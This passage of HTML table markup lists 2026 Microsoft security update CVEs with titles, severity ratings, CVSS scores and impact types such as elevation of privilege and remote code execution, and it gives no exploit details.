  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
